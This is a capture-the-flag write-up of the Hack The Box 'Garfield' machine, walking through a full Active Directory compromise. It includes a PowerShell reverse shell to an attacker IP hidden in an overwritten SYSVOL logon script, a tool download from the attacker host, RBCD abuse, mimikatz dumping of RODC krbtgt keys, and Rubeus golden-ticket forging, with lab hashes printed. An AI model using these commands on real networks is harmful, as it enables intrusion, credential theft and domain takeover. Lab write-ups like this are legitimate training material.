Garfield WriteUp

Table of Contents

Garfield WriteUp

Garfield is a πŸŸ₯ Hard difficulty machine on Hack The Box, Season 10, created by ruycr4ft. It is an assume breach box (we start with credentials, like a real engagement) and pure Active Directory. The chain starts by abusing the scriptPath attribute to inject a logon script and pivot to l.wilson, continues with a ForceChangePassword to an account with WinRM, and for root we hit the fun part: reaching an internal Read-Only Domain Controller (RODC) hosted in Hyper-V, compromising it via RBCD, and running a RODC Golden Ticket to turn the RODC’s key into a valid ticket for the domain Administrator.

🧭 An honest heads-up. This box tripped me up on environment details (tunnel, clock sync, tool versions), not on the technique itself. There is an errors and lessons section at the end with everything that wasted my time, it is probably the most useful part of this writeup.

πŸ—ΊοΈ Attack Chain

j.arbuckle credentials (assume breach)
      β”‚
      β–Ό
BloodHound β†’ j.arbuckle has WriteProperty on scriptPath of l.wilson and l.wilson_adm
      β”‚
      β–Ό
Overwrite printerDetect.bat in SYSVOL + scriptPath β†’ action as l.wilson (logon bot)
      β”‚
      β–Ό
l.wilson has ForceChangePassword over l.wilson_adm β†’ reset β†’ WinRM β†’ user.txt 🚩
      β”‚
      β–Ό
l.wilson_adm: AddSelf to "RODC Administrators" + WriteAccountRestrictions over RODC01
      β”‚
      β–Ό
Port 2179 (Hyper-V) β†’ RODC01 at 192.168.100.2 β†’ chisel tunnel
      β”‚
      β–Ό
Create ATTACKER$ + RBCD over RODC01$ β†’ S4U β†’ SYSTEM on RODC01
      β”‚
      β–Ό
mimikatz β†’ krbtgt_8245 AES256 key + RODC01$ hash
      β”‚
      β–Ό
Tune the Password Replication Policy (empty NeverReveal + Administrator in RevealOnDemand)
      β”‚
      β–Ό
Rubeus RODC Golden Ticket β†’ asktgs cifs/DC01 β†’ psexec as Administrator β†’ root.txt 🏴

πŸ” Recon

Add the host to /etc/hosts and scan in two phases.

echo "10.129.244.207 dc01.garfield.htb garfield.htb DC01" | sudo tee -a /etc/hosts
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv dc01.garfield.htb
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv dc01.garfield.htb
PortServiceDetail
53DNSActive Directory
88, 389, 636, 3268, 9389Kerberos / LDAP / GC / ADWSDomain Controller
135, 139, 445RPC / NetBIOS / SMBWindows Server 2019
464kpasswd
2179vmrdpHyper-V Virtual Machine Remote Desktop
3389RDP
5985WinRM

🎯 Port 2179 (Hyper-V vmrdp) is the big hint: DC01 hosts internal VMs. There is almost certainly an RODC on an internal network we cannot see from outside.

Credential validation

We are given j.arbuckle : Th1sD4mnC4t!@1978. Validate it:

netexec smb  dc01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
netexec ldap dc01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
netexec winrm dc01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'   # NOT authorized

SMB and LDAP work, but j.arbuckle has no WinRM. We need to move to another account.

⏰ Clock skew. The DC is +8 hours ahead of Kali. Anything Kerberos (getST, secretsdump -k, Rubeus…) will fail with KRB_AP_ERR_SKEW unless we fix it. Instead of changing the system clock, prefix Kerberos commands with faketime:

faketime -f "+8h" impacket-getST ...

Mind the syntax: it is faketime -f "+8h", not faketime "+8h". Compute the exact offset by comparing your time to the DC’s (nmap -sT -p445 --script smb2-time).

πŸ“Š Enumeration with BloodHound

faketime -f "+8h" bloodhound-python -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb -dc dc01.garfield.htb -ns 10.129.244.207 -c All --zip

The interesting path: j.arbuckle has WriteProperty over the scriptPath attribute of l.wilson (and of l.wilson_adm too).

⚠️ Important correction versus what you’ll read elsewhere. j.arbuckle does not have WriteDacl over l.wilson, it can only write the scriptPath attribute. I confirmed it with bloodyAD, because trying to add an ACE (to reset the password via the DACL route) fails with insufficientAccessRights:

bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --host dc01.garfield.htb get writable --detail
#  CN=Liz Wilson,...      scriptPath: WRITE
#  CN=Liz Wilson ADM,...  scriptPath: WRITE

πŸ’‰ Initial access, scriptPath abuse

🧠 The scriptPath attribute defines the logon script that runs when the user logs in. It is looked up under \\DC\NETLOGON\ (which is \\DC\SYSVOL\<domain>\scripts\). If we can write that attribute and control the script, we get code execution in the user’s context on login. On Garfield a bot logs l.wilson in every 1-2 minutes.

Step 1, Overwrite the logon script in SYSVOL

There is already a printerDetect.bat in \\DC\NETLOGON\. A normal user cannot create new files there, but, crucially, can overwrite the existing one:

cat > auth_ja.txt <<'EOF'
username=j.arbuckle
password=Th1sD4mnC4t!@1978
domain=garfield.htb
EOF

# build the payload (reverse shell + l.wilson_adm reset) and encode it
cat > payload.ps1 <<'PS'
try{ $p=([adsisearcher]'(samaccountname=l.wilson_adm)').FindOne().Path; ([adsi]$p).SetPassword('Garf1eld_Pwn3d!') }catch{}
try{ $c=New-Object System.Net.Sockets.TCPClient('10.10.14.142',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close() }catch{}
PS
B64=$(iconv -f UTF-8 -t UTF-16LE payload.ps1 | base64 -w0)
printf '@echo off\r\npowershell -nop -w hidden -ep bypass -enc %s\r\n' "$B64" > printerDetect.bat

# overwrite the existing one
smbclient //dc01.garfield.htb/SYSVOL -A auth_ja.txt -c 'cd garfield.htb\scripts; put printerDetect.bat printerDetect.bat'

πŸ’‘ With Samba’s smbclient, Kerberos login kept failing (NT_STATUS_LOGON_FAILURE / issues with the ! in the password). The reliable fix is a credentials file (-A), and for SMB over the tunnel later, use the impacket-* tools instead of Samba.

Step 2, Set scriptPath

bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --host dc01.garfield.htb set object l.wilson scriptPath -v 'printerDetect.bat'

Step 3, Collect the result

Instead of depending on an interactive reverse shell (which you have to catch at the exact moment of logon), the payload I dropped resets l.wilson_adm’s password itself (because l.wilson, who runs the script, has ForceChangePassword over l.wilson_adm). So I just poll until the account authenticates:

while :; do netexec winrm dc01.garfield.htb -u l.wilson_adm -p 'Garf1eld_Pwn3d!' 2>&1 | grep -q '(Pwn3d!)' && break; sleep 15; done

πŸ› A mistake that cost me a round: I first tried to make the payload beacon by writing to an SMB share of mine (to know it had fired). It doesn’t work from the logon context (anonymous write fails). The reverse TCP shell and the autonomous reset do. Lesson: to signal, outbound TCP beats inbound SMB.

When the bot logs l.wilson in, the script resets l.wilson_adm and we get in over WinRM:

evil-winrm -i dc01.garfield.htb -u l.wilson_adm -p 'Garf1eld_Pwn3d!'

🚩 User Flag

type C:\Users\l.wilson_adm\Desktop\user.txt
# REDACTED

🧭 The internal RODC

l.wilson_adm is a member of Remote Management Users, and in the graph it has two juicy rights over the RODC01 object:

  • AddSelf over the RODC Administrators group (we can add ourselves).
  • WriteAccountRestrictions over RODC01$ (lets us write its msDS-AllowedToActOnBehalfOfOtherIdentity β†’ RBCD, and its Password Replication Policy).

Enumerate the internal network from DC01:

ipconfig    # DC01 has 10.129.244.207 and an internal interface 192.168.100.1

The RODC lives at 192.168.100.2 (rodc01.garfield.htb), reachable from DC01 but not from our Kali. Over LDAP we also confirm its msDS-KrbTgtLink is krbtgt_8245 (the RODC number is 8245) and that its msDS-RevealedUsers already lists Administrator.

netexec ldap dc01.garfield.htb -u l.wilson_adm -p 'Garf1eld_Pwn3d!' --query "(objectClass=computer)" "sAMAccountName msDS-KrbTgtLink"

πŸ”— Tunnel into the internal network with chisel

We need to route traffic to 192.168.100.0/24 through DC01.

# On Kali: chisel server (use nohup+disown or it dies!)
nohup ./chisel server -p 443 --reverse >chisel.log 2>&1 & disown

# Upload the client to DC01 (my HTTP on 8000 egresses from the DC; 8889 does NOT β€” mind egress ports)
netexec winrm dc01.garfield.htb -u l.wilson_adm -p 'Garf1eld_Pwn3d!' -X "iwr http://10.10.14.142:8000/chisel.exe -OutFile C:\Windows\Temp\chisel.exe"

# Run the client in the foreground inside a WinRM session we leave open (so it persists)
netexec winrm dc01.garfield.htb -u l.wilson_adm -p 'Garf1eld_Pwn3d!' -X "& C:\Windows\Temp\chisel.exe client 10.10.14.142:443 R:socks"   # launch in background

πŸ› This is where I lost a good chunk of time. Two traps:

  1. Processes launched via WinRM with Start-Process die when the session closes. The reliable way to keep the client alive is to run it in the foreground inside a WinRM session that you leave running in the background.
  2. With the tunnel up, proxychains still returned “Connection refused” to everything. The cause was the default socks4 127.0.0.1 9050 line in /etc/proxychains4.conf fighting my socks5 127.0.0.1 1080. Leaving only the socks5 1080, the tunnel worked instantly:
sed -i 's/^socks4/#socks4/' /etc/proxychains4.conf
echo 'socks5 127.0.0.1 1080' >> /etc/proxychains4.conf
proxychains4 -q nc -zv 192.168.100.2 445   # Connection succeeded!

πŸ—οΈ SYSTEM on RODC01 via RBCD

l.wilson_adm can write RBCD on RODC01$ (whose object lives on the writable DC, directly reachable). We create a computer account and delegate to it:

# 1) add ourselves to RODC Administrators
bloodyAD -u l.wilson_adm -p 'Garf1eld_Pwn3d!' -d garfield.htb --host 10.129.244.207 add groupMember "RODC Administrators" l.wilson_adm

# 2) create the machine account
impacket-addcomputer garfield.htb/l.wilson_adm:'Garf1eld_Pwn3d!' -dc-ip 10.129.244.207 -computer-name 'ATTACKER$' -computer-pass 'Attacker123!'

# 3) RBCD: RODC01$ trusts ATTACKER$
impacket-rbcd garfield.htb/l.wilson_adm:'Garf1eld_Pwn3d!' -delegate-to 'RODC01$' -delegate-from 'ATTACKER$' -action write -dc-ip 10.129.244.207

Request a service ticket impersonating Administrator for cifs/RODC01 (S4U):

faketime -f "+8h" impacket-getST garfield.htb/'ATTACKER$':'Attacker123!' -spn cifs/RODC01.garfield.htb -impersonate Administrator -dc-ip 10.129.244.207
export KRB5CCNAME='Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache'

And with that ticket, through the tunnel, dump the RODC’s credentials:

echo "192.168.100.2 rodc01.garfield.htb RODC01" | sudo tee -a /etc/hosts
proxychains4 -q faketime -f "+8h" impacket-secretsdump -k -no-pass rodc01.garfield.htb

From here we get the NT hash of RODC01$:

GARFIELD\RODC01$:aad3b435b51404eeaad3b435b51404ee:0a3f810964bb5e1f0e52245f73700172:::

πŸ—οΈ The krbtgt_8245 key with mimikatz

Remote secretsdump does not give us krbtgt_8245’s key (neither via DRSUAPI, the RODC can’t replicate it, nor via VSS, which only pulls the local SAM). The way that works is mimikatz locally on the RODC, which reads the RODC’s own krbtgt account. We upload mimikatz with the S4U ticket and run it:

# upload (impacket-smbclient handles Kerberos well; put takes a single argument)
proxychains4 -q faketime -f "+8h" impacket-smbclient -k -no-pass rodc01.garfield.htb
#   use C$  /  cd Windows\Temp  /  put mimikatz.exe

proxychains4 -q faketime -f "+8h" impacket-wmiexec -k -no-pass rodc01.garfield.htb \
  'C:\Windows\Temp\mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt_8245" "exit"'
User : krbtgt_8245
    NTLM : 445aa4221e751da37a10241d962780e2
    aes256_hmac (4096) : d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240

πŸ”‘ The domain rejects RC4, so we need the AES256 key. The domain SID came from the RBCD output: S-1-5-21-2502726253-3859040611-225969357.

πŸ† RODC Golden Ticket β†’ Administrator

🧠 An RODC can only “reveal” (cache) the credentials of accounts its Password Replication Policy (PRP) allows. By default Administrator is denied (via the Denied RODC Password Replication Group, which sits in the RODC’s msDS-NeverRevealGroup). Since we control RODC01, we can rewrite that policy.

Step 1, Tune the PRP (order matters!)

# 1st CLEAR the deny, 2nd set the allow. Deny entries ALWAYS win over allow entries.
bloodyAD -u l.wilson_adm -p 'Garf1eld_Pwn3d!' -d garfield.htb --host 10.129.244.207 set object 'RODC01$' msDS-NeverRevealGroup
bloodyAD -u l.wilson_adm -p 'Garf1eld_Pwn3d!' -d garfield.htb --host 10.129.244.207 set object 'RODC01$' msDS-RevealOnDemandGroup -v 'CN=Administrator,CN=Users,DC=garfield,DC=htb'

Step 2, Forge the RODC golden ticket and request a service ticket

With krbtgt_8245’s AES256 key we forge a TGT for Administrator “issued by the RODC”, and use it to request a cifs/DC01 ticket from the writable DC (which now honors it, because the PRP allows it). Rubeus runs on the RODC (where no AV blocks it):

# forge the TGT (RODC 8245)
C:\Windows\Temp\Rubeus.exe golden /rodcNumber:8245 /aes256:d6c93cbe...e240 /user:Administrator /id:500 /domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357 /nowrap

# request cifs/DC01 with that TGT
C:\Windows\Temp\Rubeus.exe asktgs /ticket:<TGT_B64> /service:cifs/DC01.garfield.htb /dc:dc01.garfield.htb /nowrap
#  [+] TGS request successful!

πŸ› Two things kept me going in circles here, and are the main reason for the delay:

  1. impacket-keylistattack always returned KDC_ERR_TGT_REVOKED (“User Administrator is not allowed to have passwords replicated in RODCs”) even with the PRP correctly set. Instead of fighting that variant, the path that works is the one above: golden β†’ asktgs cifs/DC01 β†’ psexec.
  2. The Rubeus version. With Rubeus from Ghostpack-CompiledBinaries (v2.2.0) the asktgs failed with KRB_AP_ERR_BAD_INTEGRITY (a known bug). With Rubeus v2.3.3+ (e.g. from SharpCollection) it worked first try. If you see BAD_INTEGRITY with the correct key, update Rubeus.

Step 3, Access as Administrator and root

Convert the cifs ticket and use it against DC01:

echo '<CIFS_TICKET_B64>' | base64 -d > cifs.kirbi
impacket-ticketConverter cifs.kirbi cifs.ccache
export KRB5CCNAME=cifs.ccache
faketime -f "+8h" impacket-wmiexec -k -no-pass Administrator@DC01.garfield.htb 'whoami'
# garfield\administrator

🏴 Root Flag

faketime -f "+8h" impacket-wmiexec -k -no-pass Administrator@DC01.garfield.htb 'type C:\Users\Administrator\Desktop\root.txt'
# REDACTED

🧯 Errors, lessons and why it took so long

Garfield’s technique is clear, what makes it hard (and what cost me time) is the environment. Here are the bumps in case they save you hours:

SymptomCauseFix
KRB_AP_ERR_SKEW on all KerberosDC clock +8hfaketime -f "+8h" <cmd> (with -f!)
Servers (chisel/http) died on their ownBackground procs die when the WSL shell exitsnohup ... & disown
proxychains “Connection refused” to everythingDefault socks4 9050 line conflictKeep only socks5 127.0.0.1 1080
chisel client didn’t persistStart-Process via WinRM dies with the sessionRun it foreground in an open WinRM session
smbclient Kerberos login failSamba + ! in the password + kerberos over tunnel-A file for NTLM, impacket-* for Kerberos
keylistattack β†’ TGT_REVOKEDFiddly KERB-KEY-LIST variant vs the PRPUse golden + asktgs cifs/DC01
Rubeus BAD_INTEGRITY with correct keyRubeus v2.2.0 bugRubeus v2.3.3+ (SharpCollection)
“not allowed to replicate” despite PRP editsPolicy orderClear NeverRevealGroup first, then RevealOnDemand
Couldn’t create the .bat in NETLOGONNormal users can’t create new files thereOverwrite the existing printerDetect.bat

And a methodology note: verify permissions on the box, don’t trust other people’s writeups. Several sources claimed j.arbuckle had WriteDacl over l.wilson, in reality it only has WriteProperty over scriptPath. Taking that assumption at face value cost me an attempt on a password reset that was never going to work.

πŸ“ Chain summary

#TechniqueToolResult
1ReconnmapDC + port 2179 (Hyper-V)
2AD enumbloodhound-pythonj.arbuckle β†’ WriteProperty on scriptPath
3Logon scriptsmbclient + bloodyADaction as l.wilson (logon bot)
4Lateral movementForceChangePasswordWinRM as l.wilson_adm + user.txt 🚩
5Tunnelchisel (R:socks) + proxychainsaccess to 192.168.100.0/24 β†’ RODC01
6RBCDaddcomputer + rbcd + getSTSYSTEM on RODC01
7RODC credsmimikatzAES256 of krbtgt_8245 + RODC01$ hash
8PRPbloodyADempty NeverReveal + Administrator in RevealOnDemand
9RODC Golden TicketRubeus golden + asktgscifs/DC01 ticket as Administrator
10Domain Adminimpacket-wmiexec -kDomain Admin + root.txt 🏴

See you in the next challenge.